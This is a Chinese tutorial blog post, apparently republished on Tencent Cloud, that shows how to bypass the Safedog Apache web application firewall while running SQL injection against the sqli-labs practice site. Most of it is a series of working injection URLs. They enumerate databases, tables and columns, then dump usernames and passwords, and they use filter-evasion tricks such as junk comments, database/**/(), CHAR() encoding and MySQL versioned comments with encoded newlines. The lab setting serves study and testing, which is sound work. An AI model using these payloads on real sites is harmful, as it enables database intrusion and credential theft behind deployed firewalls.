更新时间:2021.04.28
没错,这次我们又来了,还是那条狗,绕过的是安全狗apache3.5.12048版本,个人感觉这个狗比上次的那个有难度些。上次发的文章里面没安全狗的文件,因为当时安装之后文件就删了,这次有,后台回复关键字:
安全狗3.5 获取
目前我们已经发布关于sql注入的文章和教学:
2019.11.20 更新sqli-labs 全部视频更新完成
视频版:
https://space.bilibili.com/29903122
安全狗 safedogwzApacheV3.5.exe
网站:apache+mysql+php
phpstudy2018
php版本4.4.45
sqli-labs
关键句
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='security';
select column_name from information_schema.columns where table_name='users';
select username,password from security.users;
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users
(下面的内容不要直接复制)
http://127.0.0.1/sqli/Less-1/?id=1’ 查看是否有注入
http://127.0.0.1/sqli/Less-1/?id=1‘ order by 3--+ 查看有多少列
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,3--+ 查看哪些数据可以回显
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,database()--+ 查看当前数据库
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,schema_name from information_schema.schemata limit 4,1--+ 查看数据库security
或者是:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,
或者是:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询列信息
或者是:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ 查看所以的列信息
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+ 查询一个账号和密码
或者是:http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+ 直接可以得到所有的账号和密码,
并且使用~符号进行分割。
在安装的时候提示有一个服务名不能为空,这里需要phpstudy调整至系统服务模式。
然后调出任务管理器界面,查看所有服务
将服务写上,安装成功之后,注意不要选择在线安装服务器安全狗,安装之后会显示启动web服务失败,这里将phpstudy重启即可
使用恶意的参数进行测试下,安全狗生效
运行脚本:
网站防护日志:
在mysql的fuzz里面一般有以下的思路:(不止)
使用大小写绕过
使用/**/注释符绕过
使用大的数据包绕过
使用/!**/注释符绕过
……
http://10.211.55.9/Less-1/?id=1'
显示正常
http://10.211.55.9/Less-1/?id=1' --+
显示正常
直接使用and的时候,没有异常,但是使用and 1=1的时候,出现问题
正常
拦截
这里测试发现 and 可以出现,但是1不可以出现,既然无法绕过,这里尝试使用注释符来进行测试
在这随机手写了一个,然后就过了。。。。
/*@%$^(*/
http://10.211.55.9/Less-1/?id=1' and/*@%$^(*/ 1=1 --+
继续:
使用order by
指令
http://10.211.55.9/Less-1/?id=1' order by 4 --+
这里可以测出来一共存在三列,然后使用联合查询来试试
http://10.211.55.9/Less-1/?id=1' union select 1,2,3 --+
如果只有union呢?试试
http://10.211.55.9/Less-1/?id=1' union --+
正常
select呢
http://10.211.55.9/Less-1/?id=1' union select --+
gg
使用刚刚的注释符试试
http://10.211.55.9/Less-1/?id=1' union /*@%$^(*/ select --+
正常
继续
http://10.211.55.9/Less-1/?id=1' union /*@%$^(*/ select 1,2,3 --+
显示正常
继续:
http://10.211.55.9/Less-1/?id=-1' union /*@%$^(*/ select 1,2,3 --+
正常
那就可以来取数据了
http://10.211.55.9/Less-1/?id=-1' union /*@%$^(*/ select 1,2, database() --+
错误
看来database()
被过滤,那这里面对其进行绕过
在这里经过多次测试之后发现,database()
可以使用database/**/()
进行绕过
http://10.211.55.9/Less-1/?id= -1' union /*@%$^(*/ select 1,2, database/**/() --+
显示正常
此时已经获得了数据库名称为security
继续操作来进行下一步,直到能够获取所有的关键信息
现在已知数据库之后,开始获取数据库中的表信息:
对第三个位置来获取表信息:
http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,
或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的
试试:
http://10.211.55.9/Less-1/?id= -1' union /*@%$^(*/ select 1,2, table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 --+
情理之中,开始准备fuzz
http://10.211.55.9/Less-1/?id= -1' union /*@%$^(*/ select 1,2, table_name --+
正常
http://10.211.55.9/Less-1/?id= -1' union /*@%$^(*/ select 1,2, table_name from --+
此时显示异常
经过fuzz发现,from是关键字,table_name 并不是关键字,所以需要对from进行绕过
经过多次多组fuzz发现,这里需要使用chr()来进行绕过
http://10.211.55.9/Less-1/?id= -1' union /*@%$^(*/ select 1,2, CHAR(102, 114, 111, 109) --+
成功
但是在这里是没法继续下去的
http://10.211.55.9/Less-1/?id= -1' union /*!00000%23%0aselect*/ 1,2, group_concat(schema_name) /*!00000%23/*%0afrom */ information_schema.schemata --+
fuzz成功
这里使用
http://10.211.55.9/Less-1/?id= -1' union /*!00000%23%0aselect*/ 1,2, group_concat(table_name) /*!%23/*%0afrom*/ information_schema.tables where table_schema='security' --+
http://10.211.55.9/Less-1/?id= -1' union /*!00000%23%0aselect*/ 1,2, group_concat(column_name) /*!%23/*%0afrom*/ information_schema.columns where table_name='users' --+
http://10.211.55.9/Less-1/?id= -1' union /*!00000%23%0aselect*/ 1,2,group_concat(concat_ws(0x7e, username, password)) /*!%23/*%0afrom*/ security.users --+
tamper编写
后面出视频
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有